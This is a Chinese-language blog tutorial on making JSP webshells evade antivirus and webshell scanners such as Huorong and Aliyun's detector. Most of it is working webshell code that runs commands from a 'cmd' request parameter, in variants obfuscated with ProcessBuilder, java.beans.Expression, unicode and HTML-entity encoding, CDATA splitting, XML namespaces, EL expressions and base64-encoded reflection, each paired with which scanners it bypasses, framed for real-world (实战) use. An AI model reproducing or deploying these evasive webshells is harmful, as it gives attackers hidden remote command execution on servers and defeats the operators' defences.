webshell免杀之jsp

写在前面:

学了很多java的安全知识,但是突然想起来,打靶场中都是使用冰蝎生成的木马,而实战中,存在杀软的,我们上传的webshell连接不到几秒就杀了,甚至还没上传就被杀了,因此想学学java的webshell免杀。

原始jsp:

基础webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>

运行成功后访问?cmd=ls

image-20240526134122236

火绒落地杀:

image-20240526134140511

阿里云webshell查杀也是直接查出来了:

image-20240526134312382

主要的查杀点在于Runtime.getRuntime().exec

ProcessBuilder替换Runtime:

学过java的命令执行都知道,Runtime.getRuntime.exec最终调用的是ProcessBuilder,我们可以尝试替换看免杀效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


<%
String cmd = request.getParameter("cmd");
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
Process process = processBuilder.start();
// 读取运行内容
// 创建一个缓冲区并且写入缓冲区
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>

ProcessBuilder也是直接杀:

image-20240526135335748

但是vt是全绿的:

image-20240526135512558

d盾直接过:

image-20240526135702248

河马直接过:

image-20240526140008014

可能是阿里的webshell查杀,规则匹配比较厉害,当然后面会讲怎么绕过(字符绕过)。

Expression免杀:

首先这里介绍什么是Expression。

java.beans.Expression,是java的el表达式。

Express(Object value, Object target,String methodName,Object] arguments) 返回一个新的Exrpess对象。

通过这个Expression可以调用该对象的getVaule()方法获取我们前面放置的值,然后再拿这个对象去调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(new ProcessBuilder(cmd), "start", new Object[]{});

Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>

阿里云一如既往的杀:

image-20240526141138141

河马不杀:

image-20240526141152698

d盾不杀:

image-20240526141408715

编码绕过:

unicode编码:

jsp是支持unicode编码的,我们可以将代码进行unicode编码,看能不能绕过查杀,这里使用最简单的,即Runtime的shell看会不会被杀:

image-20240526142134025

虽然报错,但是没关系的jsp会自动解析,也可以正常运行,如图所示:

image-20240526142205647

这里还可以使用前缀为\uuuu00

image-20240526142406881

火绒不杀:

image-20240526142633720

阿里云还是杀了:

image-20240526142729421

d盾是存在可疑:

image-20240526142855154

CDATA编码:

上面我们看到阿里云webshell查杀,会判断当前文件是否存在%>

我们将这个%>删除后就显示正常文件,因此可以推断阿里云判断是webshell的一个主要特征是%>

image-20240526143609336

但是jsp中不将这个闭合,是不能解析的,因此这里尝试使用CDATA特性:

jspx其实就是xml格式的jsp文件

在jspx中,可以利用jsp:scriptlet来代替<%%>

jsp的一些小知识:

scriptlet标签:

代码如图所示:

shell.jspx如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
xmlns="http://www.w3.org/1999/xhtml"
version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="gb2312"/>
<jsp:directive.page import="java.io.*"/>

<html>
<head>
<title>jspx</title>
</head>
<body>
<jsp:scriptlet>
try {
String cmd = request.getParameter("cmd");
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
} catch (IOException e) {
System.err.println(e);
}
</jsp:scriptlet>
</body>
</html>
</jsp:root>

或者这样子写:

shell.jsp内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<jsp:scriptlet>
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>

两者都可以运行:

image-20240526144734277

如果直接这样子写,Runtime特征会被识别出来:

image-20240526144833464

因此我们可以结合unicode编码+jsp:script标签绕过:

image-20240526144940714

好吧,阿里云还是杀了:

image-20240526145038925

但我们不写webshell,阿里云是不杀的,因此可以判断不杀这个标签的问题,而是unicode被杀了:

image-20240526145326292

expression标签绕过:

image-20240526152726501

1
2
3
4
5
6
利用<jsp:expression>绕过
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<jsp:expression>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</jsp:expression>
</jsp:root>

命名空间绕过:

jsp:scriptlet是默认的命名空间,但是实际上可以随意替换成其他名字。

这个标签bb要和xmlns:的bb一致。

1
2
3
4
5
<bb:root version="1.2" xmlns:bb="http://java.sun.com/JSP/Page">
<bb:scriptlet>
Runtime.getRuntime().exec(request.getParameter("cmd"));
</bb:scriptlet>
</bb:root>

但这样子写不会输出内容,实际上是运行了:

image-20240526151803760

尝试使用命令空间+unicode编码,虽然可以成功解析,但是还是被阿里云杀:
image-20240526153238581

el表达式绕过:

sp是默认解析el表达式的,并且在没有jsp标签的情况下也可以直接执行,这样就可以绕过jsp的限制。

如:

1
${Runtime.getRuntime.exec(param.cmd)}

image-20240526151251090

CDATA免杀实际案例:

CDATA -(未解析)字符数据

术语 CDATA 是不应该由 XML 解析器解析的文本数据。

<&字符在XML元素中都是非法的。

<会产生错误,因为解析器会把该字符解释为新元素的开始。

&会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如JavaScript 代码,包含大量”<”或”&”字符。为了避免错误,可以将脚本代码定义为CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由"<![CDATA[" 开始,由"]]>"结束:

说人话就是只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大

因此我们可以使用<![DATA[这里写拼接的数据]]>进行绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>

阿里云还是绕不过,虽然没有高亮标红,但是还是被识别成恶意了。

image-20240526155542416

但是可以绕过火绒:

image-20240526154155092

HTML编码:

将其他字符进行html编码,然后<!CDATA[]>的内容不需要编码,如图所示:

这个html编码,我是用工具后和生成的一样,但是需要注意排版,不如会报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
&#x50;&#x72;&#x6F;&#x63;&#x65;&#x73;&#x73;&#x20;&#x70;&#x72;&#x6F;&#x63;&#x65;&#x73;&#x73;&#x20;&#x3D;&#x20;&#x52;&#x75;<![CDATA[ntime.getRunt]]>&#x69;&#x6D;&#x65;&#x28;&#x29;&#x2E;&#x65;&#x78;&#x65;&#x63;&#x28;&#x63;&#x6D;&#x64;&#x29;&#x3B;
&#x20;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x20;&#x69;&#x73;&#x20;&#x3D;&#x20;&#x70;&#x72;&#x6F;&#x63;&#x65;&#x73;&#x73;&#x2E;&#x67;&#x65;&#x74;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x28;&#x29;&#x3B;
&#x20;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x20;&#x62;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x20;&#x3D;&#x20;&#x6E;&#x65;&#x77;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x6E;&#x65;&#x77;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x69;&#x73;&#x29;&#x29;&#x3B;
&#x20;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6E;&#x67;&#x20;&#x72;&#x20;&#x3D;&#x20;&#x6E;&#x75;&#x6C;&#x6C;&#x3B;
&#x20;&#x20;&#x77;&#x68;&#x69;&#x6C;&#x65;&#x28;&#x28;&#x72;&#x20;&#x3D;&#x20;&#x62;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x2E;&#x72;&#x65;&#x61;&#x64;&#x4C;&#x69;&#x6E;&#x65;&#x28;&#x29;&#x29;&#x21;&#x3D;&#x6E;&#x75;&#x6C;&#x6C;&#x29;&#x7B;
&#x20;&#x20;&#x20;&#x20;&#x72;&#x65;&#x73;&#x70;&#x6F;&#x6E;&#x73;&#x65;&#x2E;&#x67;<![CDATA[etWr]]>&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2E;&#x70;&#x72;&#x69;&#x6E;&#x74;&#x6C;&#x6E;&#x28;&#x72;&#x29;&#x3B;
&#x20;&#x20;&#x7D;
</jsp:scriptlet>
</jsp:root>

如果用这个captfEncoder工具去编码,勾选如下:

image-20240527105254496

反射调用:

基本反射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

String cmd = request.getParameter("cmd");

Class<?> rt =Class.forName("java.lang.Runtime");
Method runtimeMethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;

InputStream in = process.getInputStream();
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;

while ((s = stdInput.readLine()) != null) {
out.println(s);
}
%>

base64混淆api:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;

InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>

如果发现还是被杀,可以使用getDeclaredMethod这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%
String cmd = request.getParameter(new String(java.util.Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
java.lang.reflect.Method runtimeMethod = rt.getDeclaredMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
java.lang.reflect.Method method = rt.getDeclaredMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>

在结合unicode编码,采用不同的u长度,即可绕过阿里云的检测。

这里推荐一个好的混淆项目,可以bypass阿里云(今天实测,2024.5.27)

参考:

java免杀合集 - 跳跳糖 (tttang.com)

阿里云恶意文件检测平台 - 首页 (aliyun.com)

星球问答:一次jsp上传绕过的思考 - (yzddmr6.com)

实战分析某红队魔改哥斯拉Webshell - 先知社区 (aliyun.com)


webshell免杀之jsp
https://pow1e.github.io/2024/05/31/免杀/webshell免杀之jsp/
作者
pow1e
发布于
2024年5月31日
许可协议